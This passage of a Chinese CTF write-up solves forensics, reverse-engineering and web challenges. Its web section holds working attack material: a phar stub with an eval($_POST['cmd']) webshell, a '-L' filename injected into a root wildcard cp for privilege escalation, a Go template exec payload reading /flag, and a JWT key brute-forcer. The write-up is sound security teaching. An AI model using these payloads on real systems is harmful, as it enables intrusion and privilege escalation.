"未能找到标准格式的注册或更新时间信息。" echo "可能是域名无效,或其WHOIS信息格式特殊。" fi echo -e "========================================\n" # 暂停1秒,避免查询过于频繁 sleep 1 done echo "所有域名查询完毕。" 经过人工筛选后,找到部分域名 1 2 3 4 5 6 7 8 9 tombaky.com # 法国IP?应该是这个???说系统时区了 5hte21mz.com # 极其可疑(但是备案了 tdnsstic1.cn cdnhwcbzj102.com jomodns.com hzyidc.com outin.cn adxvip.com ipv4only.arpa # 假的 认为是 tombaky.com 在搜索的过程中发现,挖矿软件特征与 kinsing 很像,交上去发现对了 所以得到答案 1 2 3 4 5 192.168.145.131 258 /usr/sbin/sshd tombaky.com kinsing checkwebshell 流量开头发送了 GET /shell.php,应该是检查存活 执行命令的方式:POST /shell.php,格式为 Form,”shell” = “command”,在 Packet 696 出现了 system("type flag.txt"); 可以认为是 Windows 服务器,得到了下面的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 <?php class SM4 { const ENCRYPT = 1; private $sk; private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]; private static $CK = [ 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269, 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9, 0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249, 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9, 0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229, 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299, 0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279 ]; private static $SboxTable = [ 0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC, 0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27, 0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C, 0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD, 0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40, 0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08, 0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA, 0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F, 0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33 ]; public function __construct($key) { $this->setKey($key); } public function setKey($key) { if (strlen($key) != 16) { throw new Exception("SM4"); } $key = $this->strToIntArray($key); $k = array_merge($key, [0, 0, 0, 0]); for ($i = 0; $i < 4; $i++) { $k[$i] ^= self::$FK[$i]; } for ($i = 0; $i < 32; $i++) { $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]); $this->sk[$i] = $k[$i + 4]; } } public function encrypt($plaintext) { $len = strlen($plaintext); $padding = 16 - ($len % 16); $plaintext .= str_repeat(chr($padding), $padding); $ciphertext = ''; for ($i = 0; $i < strlen($plaintext); $i += 16) { $block = substr($plaintext, $i, 16); $ciphertext .= $this->cryptBlock($block, self::ENCRYPT); } return $ciphertext; } private function cryptBlock($block, $mode) { $x = $this->strToIntArray($block); for ($i = 0; $i < 32; $i++) { $roundKey = $this->sk[$i]; $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey); array_shift($x); } $x = array_reverse($x); return $this->intArrayToStr($x); } private function F($x1, $x2, $x3, $rk) { return $this->T($x1 ^ $x2 ^ $x3 ^ $rk); } private function CKF($a, $b, $c, $ck) { return $a ^ $this->T($b ^ $c ^ $ck); } private function T($x) { return $this->L($this->S($x)); } private function S($x) { $result = 0; for ($i = 0; $i < 4; $i++) { $byte = ($x >> (24 - $i * 8)) & 0xFF; $result |= self::$SboxTable[$byte] << (24 - $i * 8); } return $result; } private function L($x) { return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24); } private function rotl($x, $n) { return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF); } private function strToIntArray($str) { $result = []; for ($i = 0; $i < 4; $i++) { $offset = $i * 4; $result[$i] = (ord($str[$offset]) << 24) | (ord($str[$offset + 1]) << 16) | (ord($str[$offset + 2]) << 8) | ord($str[$offset + 3]); } return $result; } private function intArrayToStr($array) { $str = ''; foreach ($array as $int) { $str .= chr(($int >> 24) & 0xFF); $str .= chr(($int >> 16) & 0xFF); $str .= chr(($int >> 8) & 0xFF); $str .= chr($int & 0xFF); } return $str; } } try { $key = "a8a58b78f41eeb6a"; $sm4 = new SM4($key); $plaintext = "flag"; $ciphertext = $sm4->encrypt($plaintext); echo base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu } catch (Exception $e) { echo $e->getMessage() ; } ?> 前面有执行 dir 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 shell=system("dir"); HTTP/1.1 200 OK Date: Mon, 11 Aug 2025 08:40:24 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/7.3.4 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 ...... C ................ ............ C26B-E507 C:\phpstudy_pro\WWW ...... 2025/08/11 16:34 <DIR> . 2025/08/11 16:34 <DIR> .. 2025/06/09 23:55 0 .htaccess 2024/07/26 09:50 <DIR> error 2025/08/11 16:33 5,545 flag.txt 2019/09/03 14:30 2,307 index.html 2025/06/09 23:55 0 nginx.htaccess 2025/07/25 11:24 <DIR> pikaqiu 2025/08/11 16:12 33 shell.php 2024/07/26 15:17 <DIR> sqli 5 ...... 7,885 .... 5 ...... 5,388,627,968 ........ 剩下的 Gemini 梭了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 import struct import base64 class SM4: """ 根据提供的PHP代码逻辑实现的SM4解密器。 注意:此实现复制了PHP代码中的非标准密钥扩展算法。 """ # SM4 算法中使用的固定参数和S盒 FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC] CK = [ 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269, 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9, 0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249, 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9, 0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229, 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299, 0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279 ] SboxTable = [ 0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC, 0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27, 0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C, 0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD, 0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40, 0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08, 0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA, 0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F, 0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33 ] def __init__(self, key: bytes): if len(key) != 16: raise ValueError("Key must be 16 bytes long.") self.sk = [0] * 32 self._set_key(key) def _rotl(self, x, n): """32位循环左移""" return ((x << n) & 0xFFFFFFFF) | ((x >> (32 - n)) & 0xFFFFFFFF) def _S(self, x): """S盒变换""" b1 = (x >> 24) & 0xFF b2 = (x >> 16) & 0xFF b3 = (x >> 8) & 0xFF b4 = x & 0xFF return (self.SboxTable[b1] << 24 | self.SboxTable[b2] << 16 | self.SboxTable[b3] << 8 | self.SboxTable[b4]) def _L(self, x): """线性变换L""" return (x ^ self._rotl(x, 2) ^ self._rotl(x, 10) ^ self._rotl(x, 18) ^ self._rotl(x, 24)) def _T(self, x): """合成变换T""" return self._L(self._S(x)) def _CKF(self, a, b, c, ck): """ 模拟PHP代码中非标准的密钥扩展函数CKF 原始PHP代码: $a ^ $this->T($b ^ $c ^ $ck) 正确的SM4标准应为: T(a ^ b ^ c ^ ck) """ return a ^ self._T(b ^ c ^ ck) def _set_key(self, key: bytes): """密钥扩展算法,完全模拟PHP代码的逻辑""" mk = list(struct.unpack('>4I', key)) k = [0] * 36 for i in range(4): k[i] = mk[i] ^ self.FK[i] for i in range(32): # 关键:完全复现PHP代码中的密钥扩展逻辑 # k[i+4] = k[i] ^ CKF(k[i+1], k[i+2], k[i+3], CK[i]) k[i + 4] = k[i] ^ self._CKF(k[i + 1], k[i + 2], k[i + 3], self.CK[i]) self.sk[i] = k[i + 4] def _crypt_block(self, block: bytes, is_decrypt: bool) -> bytes: """对单个16字节块进行加密或解密""" x = list(struct.unpack('>4I', block)) # 解密时使用反向的轮密钥 round_keys = self.sk[::-1] if is_decrypt else self.sk for i in range(32): # 轮函数 F f_out = self._T(x[1] ^ x[2] ^ x[3] ^ round_keys[i]) x_next = x[0] ^ f_out # 状态更新 x[0], x[1], x[2], x[3] = x[1], x[2], x[3], x_next # 反序变换 x.reverse() return struct.pack('>4I', *x) def _unpad(self, data: bytes) -> bytes: """PKCS#7去填充""" pad_len = data[-1] if pad_len > 16 or pad_len == 0: return data # 无效的填充长度 padding = data[-pad_len:] if any(p != pad_len for p in padding): return data # 填充字节不一致 return data[:-pad_len] def decrypt(self, ciphertext_b64: str) -> str: """ 解密一个Base64编码的密文 """ try: ciphertext_bytes = base64.b64decode(ciphertext_b64) except (ValueError, TypeError): return "Error: Invalid Base64 string." if len(ciphertext_bytes) % 16 != 0: return "Error: Ciphertext length is not a multiple of 16." decrypted_data = b"" for i in range(0, len(ciphertext_bytes), 16): block = ciphertext_bytes[i:i+16] decrypted_data += self._crypt_block(block, is_decrypt=True) # 去除填充并解码为UTF-8字符串 unpadded_data = self._unpad(decrypted_data) return unpadded_data.decode('utf-8', errors='ignore') # --- 主程序 --- if __name__ == "__main__": # 从PHP代码中获取的密钥和密文 key_str = "a8a58b78f41eeb6a" ciphertext_b64 = "VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu" print(f"待解密的密文 (Base64): {ciphertext_b64}") print(f"使用的密钥: {key_str}") print("-" * 30) # 将密钥转换为bytes key_bytes = key_str.encode('utf-8') # 创建SM4解密器实例 sm4_decoder = SM4(key_bytes) # 执行解密 flag = sm4_decoder.decrypt(ciphertext_b64) print(f"解密得到的 Flag: {flag}") 1 2 3 4 5 > python .\gsolve.py 待解密的密文 (Base64): VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu 使用的密钥: a8a58b78f41eeb6a ------------------------------ 解密得到的 Flag: flag{1ac380d6-5820-4e1a-b40e-ddf1789f6b0d} Reverse hardtest 定位到 main 函数 找到几个关键加密函数 写一个解密脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 def ROL(data, shift, size=8): shift %= size return ((data << shift) | (data >> (size - shift))) & ((1 << size) - 1) def ROR(data, shift, size=8): shift %= size return ((data >> shift) | (data << (size - shift))) & ((1 << size) - 1) # byte_2020 array (256 bytes) byte_2020 = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ] # byte_2120 array (24 bytes) byte_2120 = [ 0x97, 0xD5, 0x60, 0x43, 0xB4, 0x10, 0x43, 0x73, 0x0F, 0xDA, 0x43, 0xCD, 0xD3, 0xE8, 0x73, 0x4A, 0x94, 0xC3, 0xCD, 0x71, 0xBD, 0xDC, 0x97, 0x1A ] flag_bytes = [] for i, c in enumerate(byte_2120): # Step 1: Find index i0 in byte_2020 where byte_2020[i0] == c i0 = byte_2020.index(c) # Step 2: v3 = ROL(i0, 2) v3 = ROL(i0, 2) # Step 3: Compute y = v3^{-1} mod 257 if v3 == 0: y = 0 else: y = pow(v3, 255, 257) # Step 4: Extract high and low nibbles from y a_high = (y >> 4) & 0xF b_low = y & 0xF # Step 5: Reverse linear transformation a_orig = (a_high * 11) % 16 b_orig = (b_low * 13) % 16 # Step 6: Combine into v1 v1 = (a_orig << 4) | b_orig # Step 7: Compute x = ROR(v1, 3) ^ 0x5A x = ROR(v1, 3) ^ 0x5A # Step 8: Reverse pre-processing: k = (i % 7) + 1, then s_i = ROR(x, k) k = (i % 7) + 1 s_i = ROR(x, k) flag_bytes.append(s_i) flag = ''.join(chr(b) for b in flag_bytes) print(flag) strangeapp 尝试用dexdump,redmi k50 以及 pixel6 A14都跑不起不来, 分析了一下app的so发现是自定义linker加固, 盲猜是写死了linker的偏移导致app在其他Android版本的设备运行会崩溃 题目测试环境:pixel 4a android11 使用Android Studio的模拟器配置相同环境跑起来后,用 https://github.com/hluwa/frida-dexdump 提取运行时的dex, app在启动时对 libc art等系统库有校验, 不能用spawn模式启动, 用 -n 选项attach上去dump就行了 dex脱壳,dump下来 在classes06.dex中得到逻辑 AES加密直接解即可得 flag{just_easy_strange_app_right?} Minigame 微信小程序,用这个脚本解压一下 https://gist.github.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad 解压后 utils 文件夹内有 validator.wasm,丢进 IDA 发现 DATA 段数据 1 2 3 4 5 6 7 8 data:00FE db 0x26 ; & data:00FF data_0: db 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9 data:0108 db 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE data:0111 db 0xAB, 2 dup(0xA1), 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE data:011A db 0xFC, 0xA1, 0xFA, 0xA8, 2 dup(0xFB), 0xAD, 0xFC, 0xAC data:0123 db 0xAA, 0xE4 data:0123 ; end of 'data' data:0123 上面发现有一个默认的 0x99 (code:00D4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 code:00BF ; --------------------------------------------------------------------------- code:00BF code:00BF L7: ; CODE XREF: c+7E↑j code:00BF loop ; L8 code:00C1 code:00C1 L8: ; CODE XREF: c+B3↓j code:00C1 block ; L9 code:00C3 i32.load8_u [$local1+0x400] code:00C9 i32.add $local1, $local2 code:00CE i32.load8_s code:00D1 i32.xor code:00D2 local.tee $param0 code:00D4 i32.const 0x99 code:00D7 i32.eq code:00D8 local.set $local0 code:00DA i32.ne $param0, 0x99 code:00E0 br_if 0 L9 code:00E2 i32.add $local1, 1 code:00E7 local.tee $local1 code:00E9 i32.const 0x26 code:00EB i32.ne code:00EC br_if 1 L8 code:00EE end ; L9 code:00EF code:00EF L9: ; CODE XREF: c+A5↑j code:00EF end ; L8 code:00F0 local.get $local0 code:00F2 end code:00F2 ; End of function c code:00F2 code:00F2 ; --------------------------------------------------------------------------- 这里是拿下面的数据段中的数据与固定的 0x99 进行异或,让AI写个脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # 1. 从 Wasm 汇编的 data section 提取加密的字节串 # data:00FF data_0: db 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9 # db 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE # db 0xAB, 2 dup(0xA1), 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE # db 0xFC, 0xA1, 0xFA, 0xA8, 2 dup(0xFB), 0xAD, 0xFC, 0xAC # db 0xAA, 0xE4 # # 注意:开头的 0x26 是数据长度,不是加密内容的一部分。 encrypted_data = bytes([ 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9, 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE, 0xAB, 0xA1, 0xA1, 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE, 0xFC, 0xA1, 0xFA, 0xA8, 0xFB, 0xFB, 0xAD, 0xFC, 0xAC, 0xAA, 0xE4 ]) # 2. 定义解密的 XOR 密钥 # 根据逆向分析,每个字节都需要与 0x99 进行异或 xor_key = 0x99 # 3. 执行解密 decrypted_bytes = bytearray() for byte in encrypted_data: decrypted_bytes.append(byte ^ xor_key) # 4. 将解密后的字节转换为字符串并打印 # 使用 .decode() 将字节数组转换为可读的字符串 try: flag = decrypted_bytes.decode('utf-8') print("🚀 解密成功!") print(f"Flag: {flag}") except UnicodeDecodeError as e: print("❌ 解密失败或结果不是有效的UTF-8字符串。") print(f"原始解密字节: {decrypted_bytes}") Web easy_readfile 题目源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php highlight_file(__FILE__); function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); } } class Coral{ public $pivot; public function __set($k, $value) { $k = $this->pivot->ctor; echo new $k($value); } } class Nimbus{ public $handle; public $ctor; public function __destruct() { return $this->handle(); } public function __call($name, $arg){ $arg[1] = $this->handle->$name; } } class Zephyr{ public $target; public $payload; public function __get($prop) { $this->target->$prop = $this->payload; } } class Acheron { public $mode; public function __destruct(){ $data = $_POST[0]; if ($this->mode == 'w') { waf($data); $filename = "/tmp/".md5(rand()).".phar"; file_put_contents($filename, $data); echo $filename; } else if ($this->mode == 'r') { waf($data); $f = include($data); if($f){ echo "It is file"; } else{ echo "You can look at the others"; } } } } if(strlen($_POST[1]) < 52) { $a = unserialize($_POST[1]); } else{ echo "str too long"; } ?> 此事在lilctf 2025亦有记载,跟lilctf的一题几乎一样,直接用gzip来绕过waf 一开始尝试半天都无法成功,原来是payload被过滤了,我原来的脚本生成的phar文件名是payload.phar 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $phar = new Phar("rst.phar"); $phar->compressFiles(Phar::GZ); $phar->startBuffering(); #$p->setStub("<?php \$ch = curl_init('file://aa.txt');curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\$data = curl_exec(\$ch);curl_close(\$ch);echo \$data; __HALT_COMPILER();"); $phar->setStub(' <?php eval($_POST["cmd"]); __HALT_COMPILER(); '); $phar->addFromString("rubbish", "AAAAAAAAAAA"); $phar->stopBuffering(); ?> yakit上传文件即可 再来通过文件包含进行rce 读flag发现读不了,用户是ctfuser,而flag要root才能读,没权限。 那接下来就是尝试提权了 发现根目录有pushflag.sh,run.sh,start.sh ps aux看了一下发现run.sh是以root权限运行的,可以尝试利用提权 查看run.sh内容,发现定期在备份,并且会赋予文件755的权限,可以利用这个通配符 1 2 3 4 5 6 7 #!/bin/bash cd /var/www/html/ while : do cp -P * /var/www/html/backup/ chmod 755 -R /var/www/html/backup/ sleep 10 使用ln命令创建硬链接提权读取flag,这里不能使用-s创建软链接,创建软链接会复制软链接到backup,而不是文件内容 可以利用这个通配符*,创建一个文件名带有-L的文件来利用 使用 -L 强制解引用,后解析的参数会覆盖掉前面的 -P ,构造payload 1 cd /var/www/html;echo 1>'-L';ln -s /flag /var/www/html/realflag; 出现软链接 读取flag SSTI 一开始发现a返回97 abc返回abc fuzz了一下,发现waf了f,l,g字符,还有很多字符串疑似 拿ssti字典fuzz了一下 {{.}}发现有两个东西,是Go模板注入 1 map[B64Decode:0x6ee380 exec:0x6ee120] 发现可以exec “id” ,返回了用户uid,本来用的whoami,结果发现被waf了 通过{{ "xxx" }}可以来试探waf AI梭一下,直接盲猜 #/cat flag {{B64Decode "Y2F0IC9mbGFn" | exec}} ez_python 给了hint,爆破jwt后两位就可以 搓一个小脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import jwt from jwt.exceptions import InvalidSignatureError, DecodeError import itertools import string jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E" # 密钥前缀 key_prefix = "@o70xO$0%#qR9#" # 生成所有可能的两个字母数字组合 alphanumeric = string.ascii_letters + string.digits missing_chars = itertools.product(alphanumeric, repeat=2) # 尝试解码 for chars in missing_chars: key = key_prefix + ''.join(chars) try: decoded = jwt.decode(jwt_token, key, algorithms=["HS256"]) print(f"Success! Key found: {key}") print(f"Decoded payload: {decoded}") break except InvalidSignatureError: continue except DecodeError: continue except Exception as e: continue else: print("No valid key found.") 将jwt里的role改为admin就变成管理员身份了 python好像运行不了,那试试yaml的漏洞 https://xz.aliyun.com/news/38 找到一个有回显的payload 1 2 